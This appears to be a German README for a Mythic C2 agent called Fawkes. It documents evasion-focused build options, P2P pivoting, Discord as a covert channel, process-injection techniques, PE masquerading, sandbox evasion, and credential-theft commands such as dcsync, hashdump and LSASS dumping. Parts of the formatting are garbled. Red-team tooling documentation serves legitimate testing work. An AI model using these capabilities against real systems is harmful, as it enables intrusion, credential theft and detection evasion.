Authentifizierte Proxys: Setzen Sie proxy_user und proxy_pass für die Basic-Authentifizierung. Für Unternehmensproxys, die eine Windows-Domänenauthentifizierung erfordern, setzen Sie außerdem proxy_domain (z. B. CORP), um die NTLM-Authentifizierung zu aktivieren. Der NTLM-Handshake (Type1→Type2→Type3) wird automatisch während des CONNECT-Tunnelaufbaus durchgeführt.
System-Proxy-Erkennung (Windows): Wenn proxy_url nicht gesetzt ist, fragt der Agent WinHTTP nach den System-Proxy-Einstellungen ab, einschließlich der automatischen Erkennung von PAC/WPAD.
Alle Builds verwenden das -trimpath-Flag von Go, um lokale Dateisystempfade aus der kompilierten Binärdatei zu entfernen. Ohne dieses Flag gelangen Pfade wie /home/user/project/... und /go/pkg/mod/... über Panic-Traces und Runtime-Metadaten in die Binärdatei. In Kombination mit -s -w (Symbol-Stripping) und leerem -buildid minimiert dies forensische Informationen in der Binärdatei. Garble-Builds handhaben dies bereits; -trimpath deckt Nicht-Garble-Builds ab.
Nach der Kompilierung wird das erstellte Payload automatisch gegen einen Satz von YARA-Regeln gescannt, die gängige Erkennungsmuster von Verteidigern modellieren. Die Ergebnisse werden im Mythic-Build-Output als informativer Schritt angezeigt – der Scan schlägt den Build niemals fehl.
Erkannte Kategorien:
Dies hilft Betreibern, das Erkennungsrisiko zu verstehen und vor der Bereitstellung geeignete OPSEC-Optionen (garble, obfuscate_strings usw.) auszuwählen.
Das HTTP-Profil ruft über das einfache, nicht dynamische Profil den Mythic-Server zurück. Dies ist das Standard-Egress-Profil – der Agent fragt Mythic über HTTP/HTTPS nach Aufgaben ab.
Anpassbare Funktionen:
get_uri und post_uri unterstützen Tokens, die pro Anfrage aufgelöst werden:
{rand:N} — N zufällige Hexadezimalzeichen (z. B. /api/{rand:8} → /api/a3f82b1c){int:M-N} — zufällige ganze Zahl im Bereich (z. B. /v{int:1-3}/status → /v2/status)content_types auf eine durch Kommas getrennte Liste (z. B. application/json,text/plain,application/x-www-form-urlencoded). Der Agent durchläuft sie im Round-Robin-Verfahren. Standard: application/x-www-form-urlencoded.user_agent_pool auf eine durch Zeilenumbrüche getrennte Liste von User-Agent-Zeichenketten. Der Agent rotiert sie pro Anfrage und eliminiert so den statischen UA-Fingerabdruck. Standard: einzelner Chrome 134 UA.Das TCP-Profil ermöglicht Peer-to-Peer (P2P)-Agentenverknüpfung für internes Pivoting. Ein untergeordneter Agent lauscht auf einem TCP-Port oder einer Windows-Named-Pipe und wartet darauf, dass ein übergeordneter Agent über den Befehl link eine Verbindung herstellt. Alle Aufgaben und Antworten werden über den Egress-Kanal (HTTP) des übergeordneten Agents geroutet, sodass der untergeordnete Agent nie direkt mit Mythic Kontakt aufnimmt.
Architektur:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)
**Build-Parameter:**
| Parameter | Beschreibung | Standard |
|-----------|--------------|----------|
| `tcp_bind_address` | Adresse und Port, auf dem der Child lauschen soll (z.B. `0.0.0.0:7777`) | _(leer = HTTP-Modus)_ |
| `namedpipe_bind_name` | Named-Pipe-Name, auf dem der Child lauschen soll (z.B. `msrpc-f9a1`). Nur Windows. | _(leer)_ |
Wenn `tcp_bind_address` oder `namedpipe_bind_name` gesetzt ist, startet der Agent im P2P-Listener-Modus anstatt im HTTP-Egress-Modus.
**Verwendung (TCP):**
1. Erstelle einen **Child-Agenten** mit dem TCP-C2-Profil und gesetztem `tcp_bind_address` (z.B. `0.0.0.0:7777`)
2. Setze den Child auf einem internen Host ein (kein Internetzugang erforderlich)
3. Führe von einem **Egress-Agenten** (HTTP-Profil) aus: `link -host <child_ip> -port 7777`
4. Mythic erstellt einen neuen Callback für den Child – alle Taskings fließen durch den Egress-Agenten
5. Zum Trennen: `unlink -connection_id <uuid>`
**Verwendung (Named Pipe):**
1. Erstelle einen **Child-Agenten** mit dem TCP-C2-Profil und gesetztem `namedpipe_bind_name` (z.B. `msrpc-f9a1`)
2. Setze den Child auf einem internen Windows-Host ein
3. Führe von einem **Egress-Agenten** aus: `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. Die Verbindung verwendet SMB (Port 445) und vermischt sich mit normalem Windows-Dateifreigabe-Verkehr
5. Zum Trennen: `unlink -connection_id <uuid>`
**Verschlüsselung:** AES-256-CBC mit HMAC-SHA256 (gleiches wie HTTP-Profil). Das Wire-Protokoll verwendet 4-Byte-Längenpräfix-Framing über TCP oder Named Pipe.
**Relink-Unterstützung:** Wenn ein Parent trennt (z.B. über `unlink` oder Parent stirbt), speichert der Child-Agent seine Checkin-Daten und wartet auf eine neue Parent-Verbindung. Wenn ein neuer Egress-Agent `link` ausführt, registriert sich der Child automatisch als neuer Callback bei Mythic. Kein manueller Eingriff erforderlich.
**Mehrere Children:** Ein Egress-Agent kann gleichzeitig zu mehreren TCP- und Named-Pipe-Children verbinden. Jeder Child arbeitet unabhängig mit seinem eigenen Callback.
**OPSEC-Hinweise:** Named-Pipe-Verbindungen verwenden SMB (Port 445) und erzeugen weniger Netzwerk-Indikatoren als reines TCP, aber Sysmon Event ID 17/18 (PipeEvent) und ETW-Ereignisse von Microsoft-Windows-SMBClient werden protokolliert, falls konfiguriert.
### Discord-C2-Profil
Das Discord-Profil verwendet einen Discord-Bot und -Kanal als verdeckten C2-Transport. Der Agent kommuniziert mit Mythic, indem er verschlüsselte Nachrichten in einem Discord-Kanal postet, wo ein serverseitiger Bot sie über gRPC Push C2 an Mythic weiterleitet.
**Architektur:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic
So funktioniert es:
get_tasking-Anfrage über Discord. Bei Push C2 können Aufgaben auch unabhängig an den Kanal gesendet werden. Der Agent sammelt pro Poll-Zyklus alle passenden Nachrichten.Build-Parameter:
Verschlüsselung: AES-256-CBC mit HMAC-SHA256 (gleiches Schema wie HTTP-Profil). Sensitive Konfiguration (Bot-Token, Kanal-ID) wird nach der Initialisierung mit AES-256-GCM-Vault im Speicher verschlüsselt.
Push C2-Unterstützung: Der Discord-C2-Server verwendet Mythics Push C2 (persistenter gRPC-Stream). Aufgaben können asynchron zwischen Poll-Zyklen eintreffen. Der Agent implementiert:
Ratenbegrenzung: Respektiert Discord-API-Ratenlimits mit automatischer Wiederholung und exponentiellem Backoff (bis zu 5 Wiederholungen). Der User-Agent ist wie von der Discord-API gefordert auf DiscordBot (https://github.com, 1.0) festgelegt.
Einrichtungsvoraussetzungen:
config.jsonBekannte Einschränkungen:
Alles, was ich über Mythic Agents weiß, stammt aus den Mythic Docs oder durch das Stehlen von Code und Ideen von den Merlin- und Freyja-Agenten.
Danach habe ich ausschließlich Claude PoC-Links gefüttert und nach coolen Sachen gefragt. Verrückt, oder?
| Quelle | Typ | Was wird bereitgestellt |
|---|
| Rubeus | .NET-Assembly | Kerberos-Angriffe (Kerberoasting, Ticket-Fälschung, Delegation) |
| Seatbelt | .NET-Assembly | Host-Sicherheitsüberprüfung (Berechtigungen, Anmeldeinformationen, Konfigurationen) |
| Certify | .NET-Assembly | AD-Zertifikatsdienste-Enumeration und -Missbrauch |
| SharpHound | .NET-Assembly | BloodHound-Datenerfassung |
| SharpUp | .NET-Assembly | Lokale Privilegienausweitungsprüfungen |
| SharpView | .NET-Assembly | Active Directory-Enumeration (PowerView-Port) |
| nanodump | BOF | LSASS-Speicher-Dump via MiniDumpWriteDump |
| credman | BOF | Windows-Anmeldeinformations-Manager-Ernte |
| Variante | Technik | Auslöser | Go-Shellcode |
|---|
| 1 | Worker Factory Start Routine Überschreiben | Neue Worker-Thread-Erstellung | Nein |
| 2 | TP_WORK-Einfügung | Aufgabenwarteschlangen-Verarbeitung | Ja |
| 3 | TP_WAIT-Einfügung | Ereignissignalisierung | Ja |
| 4 | TP_IO-Einfügung | Datei-I/O-Abschluss | Ja |
| 5 | TP_ALPC-Einfügung | ALPC-Port-Nachrichtenübermittlung | Ja |
| 6 | TP_JOB-Einfügung | Jobobjekt-Zuweisung | Ja |
| 7 | TP_DIRECT-Einfügung | I/O-Abschluss-Port | Ja |
| 8 | TP_TIMER-Einfügung | Timer-Ablauf | Ja |
| Einstellung | Exports | Anwendungsfall |
|---|
standard (Standard) | Run, Fire, VoidFunc | sRDI-Shellcode, rundll32, generische Loader |
full | Standard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNow | regsvr32, svchost-Dienst, COM-Hijack |
| Export | Ausführung | MITRE |
|---|
DllRegisterServer | regsvr32 /s fawkes.dll | T1218.010 |
DllUnregisterServer | regsvr32 /u /s fawkes.dll | T1218.010 |
ServiceMain | svchost.exe DLL-Dienst (nur Windows) | T1543.003 |
DllGetClassObject + DllCanUnloadNow | COM-Hijack InprocServer32 | T1546.015 |
| inflate_count | Ein Byte (z. B. 0x90) | Zwei Bytes (z. B. 0x41,0x42) |
|---|
| 1.000 | 1 KB | 2 KB |
| 10.000 | 10 KB | 20 KB |
| 100.000 | 100 KB | 200 KB |
| 1.000.000 | 1 MB | 2 MB |
| 3.000.000 | 3 MB | 6 MB |
| 10.000.000 | 10 MB | 20 MB |
| Parameter | Typ | Beschreibung |
|---|
pe_preset | Auswahl | Schnell-Imitationsvoreinstellung (notepad, svchost, cmd, explorer, etc.) |
pe_company | Zeichenfolge | CompanyName (z. B. "Microsoft Corporation") |
pe_description | Zeichenfolge | FileDescription – sichtbar im Task-Manager |
pe_product | Zeichenfolge | ProductName |
pe_version | Zeichenfolge | Datei-/Produktversion (z. B. "10.0.19041.1") |
pe_copyright | Zeichenfolge | LegalCopyright |
pe_original_filename | Zeichenfolge | OriginalFilename – sichtbar für Forensik-Tools |
pe_icon | Datei | Benutzerdefinierte .ico- oder .png-Symbol-Datei |
pe_manifest | Auswahl | UAC-Stufe: asInvoker, highestAvailable, requireAdministrator |
| Typ | Befehle |
|---|
| Prozesserstellung | run, powershell, spawn, argue |
| API-Aufruf | net-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (create/delete), psexec |
| Prozess beenden | kill |
| Prozess-Injektion | vanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack |
| Datei schreiben | upload, cp, mv |
| Datei erstellen | mkdir |
| Datei löschen | rm |
| Datei ändern | timestomp |
| Registry schreiben | reg (write/delete), remote-reg (set/delete), persist (registry, com-hijack, screensaver methods), uac-bypass, defender (add/remove-exclusion) |
| Registry speichern | reg (save/creds) |
| Entfernte Registry | remote-reg (query/enum/set/delete via WinReg RPC) |
| Entfernter Dienst | remote-service (list/query/create/start/stop/delete/modify-path/trigger/dll-sideload via SVCCTL RPC) |
| Anmeldung | make-token |
| Token-Diebstahl | steal-token, getsystem |
| Befehl | Typ der Anmeldeinformationen | Was wird gemeldet |
|---|
| hashdump | Hash | SAM-NTLM-Hashes (Windows), MSV1_0-NT/LM/SHA-Hashes aus In-situ-LSASS-Walk (Windows, insitu-full), Kerberos-TGTs und Service-Tickets im .kirbi-Format (Windows, tickets), /etc/shadow-Hashes (Linux), PBKDF2-Hashes (macOS) |
| kerberoast | Hash | TGS-Tickets zum Offline-Knacken |
| asrep-roast | Hash | AS-REP-Hashes |
| dcsync | Hash | NTLM + AES-Schlüssel via DRSGetNCChanges |
| lsa-secrets | Klartext/Hash/Schlüssel | Dienstpasswörter, zwischengespeicherte Anmeldeinformationen, DPAPI-Schlüssel |
| laps | Klartext | LAPS v1 & v2 Passwörter |
| gpp-password | Klartext | GPP-verschlüsselte Passwörter aus SYSVOL |
| browser | Klartext | Gespeicherte Chrome/Edge/Firefox-Passwörter (alle Plattformen), Cookies (alle Plattformen), Verlauf, Autofill, Lesezeichen |
| dpapi | Klartext/Hash | DPAPI-geschützte Geheimnisse |
| credman | Klartext | Credential Manager-Einträge (bei Dump-Aktion) |
| make-token | Klartext | Für die Tokenerstellung verwendete Anmeldeinformationen |
| cred-harvest | Hash/Klartext/Token | Shadow-Hashes, Cloud-Umgebungsvariablen, sensible Umgebungsvariablen, M365-OAuth/JWT-Tokens, Live-Browser-Cookies/Speicher via CDP |
| credential-prompt | Klartext | Dialog-erfasste Anmeldeinformationen (macOS/Windows/Linux) |
| Fingerprint | Beschreibung |
|---|
chrome | Chrome/Chromium (Standard) – häufigster Browser, am besten zum Tarnen |
firefox | Firefox |
safari | Safari |
edge | Microsoft Edge |
rotate | Wählt zufällig Chrome/Firefox/Safari/Edge pro Verbindung (verhindert JA3-Korrelation) |
random | Vollständig zufälliger Fingerprint (kein Browser-Matching) |
go | Kein Spoofing – Verwende Gos standardmäßigen TLS-Stack |
| Parameter | Typ | Beschreibung |
|---|
env_key_hostname | Regex | Hostname muss übereinstimmen (z. B. WORKSTATION-\d+ oder .*\.contoso\.com) |
env_key_domain | Regex | Domäne muss übereinstimmen (z. B. CONTOSO oder .*\.local) |
env_key_username | Regex | Benutzername muss übereinstimmen (z. B. admin.* oder svc_.*) |
env_key_process | Zeichenfolge | Prozessname, der ausgeführt werden muss (z. B. outlook.exe) |
env_key_cpuid | Regex | CPU-Markenstring muss übereinstimmen (z. B. .*Intel.*i7-12700.* oder .*AMD.*5950X.*). Verhindert Ausführung in Sandboxes mit unterschiedlichen CPU-Modellen. |
env_key_derive | Auswahl | C2-Konfiguration mit Schlüssel verschlüsseln, der aus Ziel-Host-Eigenschaften abgeleitet wird. Optionen: hostname, domain, username, hostname+domain, hostname+domain+username. Falscher Host = AES-Entschlüsselung schlägt fehl = stiller Exit. Stärker als Regex-Übereinstimmung – Konfigurationswerte erscheinen nie im Binary. |
chrome, firefox, safari, edge, rotate, random).key_rotation_interval). Leitet frische AES-256-Schlüssel über HKDF-SHA256 ab, löscht alte Schlüssel. Begrenzt den Explosionsradius bei Schlüsselkompromittierung.host_header, um den HTTP-Host-Header zu überschreiben.fallback_hosts für ein widerstandsfähiges C2.| Parameter | Typ | Beschreibung | Standard |
|---|
discord_token | String | Discord-Bot-Token für API-Authentifizierung | (erforderlich) |
bot_channel | String | Discord-Kanal-ID für den Nachrichtenaustausch | (erforderlich) |
callback_interval | String | Sekunden zwischen Tasking-Polls | 10 |
callback_jitter | String | Jitter-Prozentsatz (0-100) | 23 |
message_checks | String | Maximale Poll-Versuche pro Austausch | 20 |
time_between_checks | String | Sekunden zwischen Poll-Versuchen | 5 |
AESPSK | String | Vorverteilter AES-256-Verschlüsselungsschlüssel | (automatisch generiert) |